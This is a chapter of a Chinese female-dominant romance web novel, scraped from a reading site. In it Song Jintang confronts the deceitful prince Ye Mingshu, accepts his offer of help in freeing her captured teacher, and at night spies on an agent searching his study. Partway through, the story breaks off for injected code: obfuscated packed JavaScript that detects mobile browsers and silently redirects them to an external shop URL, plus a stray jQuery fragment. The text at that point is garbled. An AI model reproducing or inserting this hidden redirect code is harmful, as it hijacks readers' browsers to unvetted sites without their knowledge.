文趣网 > 其他小说 > 再甩三次又何妨(女尊) > 23. 别碰我
    宋锦棠把隔扇门关得紧紧的,但她突然发现这么做没有任何意义。

    这两道隔扇门都没有门锁,连门闩都没有。

    “……”

    她索性不管了,径直走向床榻躺着。

    叶明疏的话不能全信,她打算夜探王府,就算一时找不到地牢的位置,多探几次总能成。

    她闭着眼假寐,只是有些睡不着,脑子里浮现出叶明疏泛着红晕的脸,那含羞带怯的模样很少见,意外地令人留恋。

    怎么又想起他了?

    宋锦棠深吸一口气,翻了个身,一股清淡宁静的草木香顺着门缝飘了进来,温暖柔和、沁人心脾,仿佛置身于静谧的山林之中,意识逐渐沉沦,不知不觉睡着了。

    这一觉睡到了晚上。

    宋锦棠睁眼的时候眼前一片漆黑,紧接着便觉得腰间被什么东西缠住了,惊得她连忙坐起,退居一旁。

    巨大的动静吵醒了身旁的人,叶明疏揉着眼睛嘟囔,嗓音略显沙哑:“棠棠躲那么远做什么?”

    他这般胡搅蛮缠,宋锦棠心里十分窝火,说出的话也带着刺,“三殿下金尊玉贵,倒不想如此自轻自贱,也甘与我这等三教九流之辈同卧一榻?”

    叶明疏坐直了身子,“棠棠是还在生我的气?气我骗了你,气我那日对你说的话?”

    “可不敢,你是堂堂三殿下,我怎敢?我怎配?”

    “棠棠气我便气我,为何要说这样让人伤心的话,亦不肯听我辩解……”

    宋锦棠不是没想过叶明疏会有苦衷,可末雨被抓了,什么苦衷能抵消她被抓这件事?

    但她还是给了他一个机会,“洗耳恭听。”

    叶明疏往前挪了分毫,随即便感受到一股冷意透过漆黑的夜射了过来,瞬间定在原地不动了,垂着头老实交代:“我的父侍是后宫的柔令人,他是央璃人,十八年前被我母皇带回宫,一年后生下我,那时他宠冠六宫,不过两年便又有了身孕,听太医说是个女胎,只是父侍身子弱,孩子没能生下来……从那以后,父侍身子就垮了,常年卧榻,我寻遍名医也没能治好他的病。”

    他顿了顿,又道:“直到几个月前,叶启缘告诉我益州有位隐居多年的神医,制得一种灵药,能活死人肉白骨,只是她从不轻易出山,需得我亲自去请才行,我这才冒险离京,却没想到碰上央璃军杀了进来,益州失守,我与手下失散,只能跟着流民四处逃窜,再后来便遇见了你……”

    宋锦棠缓缓握紧了拳头,脑中回忆起初遇叶明疏时的模样,心里竟然为他捏了一把汗,庆幸他没有死在乱军的刀剑之下。

    同时心里有了另一个疑问,叶明疏到底知不知道她就是央璃将领?

    他还在继续说,只是声音低低的,带着一丝令人怜惜的委屈:“我不是有意骗你的,只是乱世之下,我的身份实在是太惹眼,我怕遇到歹人,才谎称自己什么都不记得。”

    宋锦棠沉吟了会儿,旁敲侧击地问:“关于央璃的事,你还知道多少?”

    叶明疏一顿,摇摇头,“棠棠,我真的不知道了,雨娘子的身份,我也只是猜测,误打误撞才……你信我,我说的是真的。”

    “是么?”

    “嗯……”

    真不真的又有什么要紧,末雨被抓已是事实。

    只是她还有些气不过。

    她深吸一口气,骤然靠近,一把抓住他的手腕,“我问你,你派人抓我师傅是为了什么?为何要送给广朔王?你这么做到底是为了什么?”

    叶明疏挣了挣手,“棠棠,疼~”

    宋锦棠手上力道松了一分,但是却没放开。

    叶明疏挣脱不开,只好和盘托出,“棠棠以为玉阙因何连连战败?如今的玉阙早就不是十八年前的玉阙了,太女叶启缘势力庞大,大半个朝中大臣都被她笼络了去,另一半则归了皇祖父麾下,而皇祖父又十分喜爱广朔王,双方党争多年,国库日渐空虚,如今的朝堂早就是一盘散沙,母皇夹在中间左右为难,更遑论我?

    我的父侍是央璃人,我自小便是不被喜爱的,在这宫中如履薄冰多年,因着母皇对父侍的宠爱,皇夫视我们父子俩为眼中钉,屡次为难、折辱父侍,我们也只能忍着……”

    他吸了吸鼻子,“若是有朝一日叶启缘上了位,我和父侍只有被磋磨死的份,所以我只能借广朔王的手搅浑这水,让她们互相制衡,我才有苟延残喘的空隙,只是无奈要用暗探当筹码……”

    宋锦棠沉默了,他说的朝政和她知道的大差不差,他没有说谎。

    只是没想到他在后宫活得如此艰难。

    可是不管如何,她能接受叶明疏从一开始就站在她的对立面,相互厮杀。但不能接受他接近她,欺她,骗她,又恩将仇报,将她的真心践踏进泥里!

    她甩开他的手,语气染上怒意,“就算是这样,事情做了就是做了,我师傅因你被抓,现在生死未卜……”

    叶明疏闻言,跪着往前爬了两步,“我可以帮你,帮你救出你师傅。”

    “什么?”宋锦棠不解。

    叶明疏正色道:“我说真的,抓你师傅并非我本意,我只是无奈之举,我不想看见你伤心……”

    “……”空气静默一瞬,宋锦棠缓缓道:“我如何信你?”

    “你不是说了要再信我一次吗?况且你现在也只能信我。”

    宋锦棠思虑再三,“我要见师傅。”

    “那不行。”叶明疏想也不想就拒绝了。

    “叶明疏!”

    宋锦棠一口气噎在嗓子里,叶明疏忙道:“你是也想暴露身份,然后进去陪她吗?”

    话是这么说没错,可她就是生气,气得想把他揉成一个皮毱,扔到九霄云外去!

    “不过我可以帮你传话。”他凑了上来,贴心地帮她顺背。

    宋锦棠强行镇定下来,“你为何要帮我?”

    “嗯……我帮你也是为了我自己,广朔王上位于我同样无益,就当是我们联手了。”

    宋锦棠没说话,侧身躺下了。叶明疏拉过被褥给她盖上,顺势躺在她身边。

    “别碰我。”

    伸出去的手还没挨着人,就被制止了,叶明疏只好收回手,乖乖躺好,嘿笑一声:“棠棠可以碰我。”

    宋锦棠被他的无赖给震惊到了,冷笑道:“你就不怕我掐死你?”

    “掐死我就见不到师傅了。”

    “…………”

    夜半时分,身旁传来均匀的呼吸声,宋锦棠缓缓睁开了眼。

    她小心转过身,轻轻喊道:“叶明疏?”

    连喊两声没有回应。

    又用手戳了戳他的脸,一下、两下、三下……

    叶明疏不耐烦地皱了皱眉,翻了个身背对着她。

    看来是真睡着了。

    宋锦棠坐起来,翻身下床,脚步轻移,几步来到了寝殿外头。

    此时月上中天,朝安府内四下寂静,她顺着白日的记忆摸到一处墙角,准备翻墙出府。却突然听到一阵窸窣声,她耳力不错,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17647961|206732||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    隐约辨别出是有人在低声交谈什么。

    犹豫一瞬还是找了过去。

    朝安府院落众多,西边的院落厢房多用来招待外来客人,照叶明疏所说的,他如今的处境应当是没什么客人的,那会是谁?

    院门关着,但不妨碍她听清里头人的谈话。

    “好不容易才把你保进来,可要藏好了,记得找到那个东西。”

    另一年轻女子懒懒道:“放心吧,不就是个皇子吗?还能让他翻了天?劳烦您回去禀告皇夫,一切交给我,就是答应我的事……”

    “这个你不用操心,安心办好你的事,好处自然少不了。”

    宋锦棠神情一凛,这个年轻女子的声音,正是白日那个青衫女人。

    她们要找什么?

    莫不是叶明疏真拿了皇夫和太女的把柄?

    宋锦棠心里五味杂陈,玉阙的事情她不想参与,有关叶明疏的事更是不想有太多牵扯,但是一想到叶明疏白日被羞辱的模样,就有些不忍心。

    况且,抓住了皇室中人的把柄,虽说不能直接换末雨出来,但也算多了一件趁手的兵器,没准哪日就用上了。

    正这么想着,听见有人朝院门处走来,她闪身躲进一个拐角。

    青衫女子名叫展仪,白日里端的一副好姿态,夜里没人了就放荡起来,提着一壶酒,边走边摇,还哼着曲儿,慢悠悠朝着寝殿的方向去了。

    宋锦棠隔着不远不近的距离跟着,到了寝殿门口,只见她端正了仪态,扯着嗓子喊了声:“殿下!展某求见殿下。”

    守夜的宫侍忙走了过来让她闭嘴,“殿下已入睡,没有通传,娘子来此作甚?”

    展仪笑了笑,对着宫侍抛了个媚眼,“我这不是服侍殿下心切嘛,殿下不找我,我心痒难耐,一刻都等不得……”

    “去去去!”宫侍被她恶心到了,连连赶人。

    “哎哎——真不需要我啊?不然你还是替我通传一下吧——”展仪被推着走,见怎么都不成,十分扫兴地甩甩袖,愤愤离去。

    到了没人的地方,她突然把酒壶一扔,收了浪荡不羁的步伐,四处打量一圈,猫着腰进了书房。

    方才那些竟是做戏,目的是为了进书房。

    难道把柄是书信之类的?

    宋锦棠透过窗户观望,瞧着展仪在书架上东翻西找,忽然像是发现了什么,眼睛陡然睁大,仔细端详起来。

    这么快就找到了?

    宋锦棠半信半疑走近,趁其不备,抬手劈向她的脖颈,将她打晕,拿过她手中的书一看。

    两眼一黑。

    哦不,是两眼一……雾色漫漫巧连天,水声潺潺妙引泉,试问儿郎芳几许,且看柳腰俏云烟。

    “……”

    怪不得方才见这人突然睁大了眼睛,叶明疏的书房竟然藏着这种东西?

    宋锦棠翻看了两眼,默默放回了原位,举着油灯从头开始一本本翻找。

    只是翻找了一夜,什么都没找到,外头已亮起一线天光,她只好吹了灯赶回寝殿。

    暖阁里,叶明疏还没醒,宋锦棠盯了他一会儿,思索着要不要将他叫醒,又想起他百般纠缠的模样,彻底打消了这个念头。

    能消停一会儿是一会儿。

    她弯腰,轻手轻脚将他抱起,出门送回他自己的床榻,谁知刚掀开被褥,把人放在床榻上,一垂眸就对上一双扑朔迷茫的眼眸。

    叶明疏醒了,正眨巴着眼望着她。

    四目相对,一时无言。